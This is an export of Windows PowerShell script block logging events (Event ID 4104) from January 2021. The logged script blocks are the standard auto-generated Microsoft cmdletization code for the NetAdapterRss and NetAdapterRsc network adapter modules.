Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1871 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-c228-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Profile')) {
[object]$__cmdletization_value = ${Profile}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Profile'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRss.Profile'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Profile'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRss.Profile'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorGroup')) {
[object]$__cmdletization_value = ${BaseProcessorGroup}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('BaseProcessorNumber')) {
[object]$__cmdletization_value = ${BaseProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'BaseProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessorGroup')) {
[object]$__cmdletization_value = ${MaxProcessorGroup}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorGroup'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessorNumber')) {
[object]$__cmdletization_value = ${MaxProcessorNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessorNumber'; ParameterType = 'System.Byte'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MaxProcessors')) {
[object]$__cmdletization_value = ${MaxProcessors}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'MaxProcessors'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumaNode')) {
[object]$__cmdletization_value = ${NumaNode}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumaNode'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterRss' -Alias '*'
function Enable-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRssSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBo
ScriptBlock ID: 18d001a2-2586-466d-bceb-fb2a067c8b51
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1870 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-c228-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterRssSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRssSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRss.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterRss' -Alias '*'
function Set-NetAdapterRss
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterRssSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRssSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${NumberOfReceiveQueues},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterRss.Profile]
${Profile},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseG')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${BaseProcessorGroup},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('BaseN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${BaseProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxG')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${MaxProcessorGroup},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('MaxN')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[byte]
${MaxProcessorNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Max')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint32]
${MaxProcessors},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[uint16]
${NumaNode},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NumberOfReceiveQueues')) {
[object]$__cmdletization_value = ${NumberOfReceiveQueues}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumberOfReceiveQueues'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NumberOfReceiveQueues'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.
ScriptBlock ID: 18d001a2-2586-466d-bceb-fb2a067c8b51
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1869 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-c228-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
eterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterRsc.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterRsc' -Alias '*'
ScriptBlock ID: 6056f8ce-82be-40f5-9264-d938380b07ad
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1868 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-bc28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
rameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterRscSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
